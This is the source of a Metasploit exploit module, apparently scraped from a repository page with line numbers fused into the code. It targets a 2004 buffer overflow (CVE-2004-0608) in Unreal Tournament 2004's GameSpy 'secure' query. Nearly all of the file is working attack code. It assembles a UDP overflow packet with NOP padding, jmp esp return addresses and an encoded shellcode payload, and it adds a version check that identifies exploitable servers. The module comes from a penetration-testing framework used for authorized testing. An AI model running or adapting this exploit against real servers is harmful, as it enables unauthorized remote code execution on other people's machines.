Path: blob/master/modules/exploits/windows/games/ut2004_secure.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Unreal Tournament 2004 "secure" Overflow (Win32)',15'Description' => %q{16This is an exploit for the GameSpy secure query in17the Unreal Engine.1819This exploit only requires one UDP packet, which can20be both spoofed and sent to a broadcast address.21Usually, the GameSpy query server listens on port 7787,22but you can manually specify the port as well.2324The RunServer.sh script will automatically restart the25server upon a crash, giving us the ability to26bruteforce the service and exploit it multiple27times.28},29'Author' => [ 'stinko' ],30'License' => BSD_LICENSE,31'References' => [32[ 'CVE', '2004-0608'],33[ 'OSVDB', '7217'],34[ 'BID', '10570'],3536],37'Privileged' => true,38'Payload' => {39'Space' => 512,40'BadChars' => "\x5c\x00",41},42'Platform' => 'win',43'Targets' => [44['UT2004 Build 3186', { 'Rets' => [ 0x10184be3, 0x7ffdf0e4 ] }], # jmp esp45],46'DisclosureDate' => '2004-06-18',47'DefaultTarget' => 0,48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options(57[58Opt::RPORT(7787)59]60)61end6263def exploit64connect_udp6566buf = make_nops(1024)67buf[0, 60] = [target['Rets'][0]].pack('V') * 1568buf[54, 4] = [target['Rets'][1]].pack('V')69buf[0, 8] = "\\secure\\"70buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded7172udp_sock.put(buf)7374handler75disconnect_udp76end7778def ut_version79connect_udp80udp_sock.put("\\basic\\")81res = udp_sock.recvfrom(8192)82disconnect_udp8384if (res and (m = res.match(/\\gamever\\([0-9]{1,5})/)))85return m[1]86end8788return89end9091def check92vers = ut_version9394if (not vers)95print_status("Could not detect Unreal Tournament Server")96return97end9899vprint_status("Detected Unreal Tournament Server Version: #{vers}")100if (vers =~ /^(3120|3186|3204)$/)101vprint_status("This system appears to be exploitable")102return Exploit::CheckCode::Appears103end104105if (vers =~ /^(2...)$/)106vprint_status("This system appears to be running UT2003")107return Exploit::CheckCode::Detected108end109110vprint_status("This system appears to be patched")111return Exploit::CheckCode::Safe112end113end114115116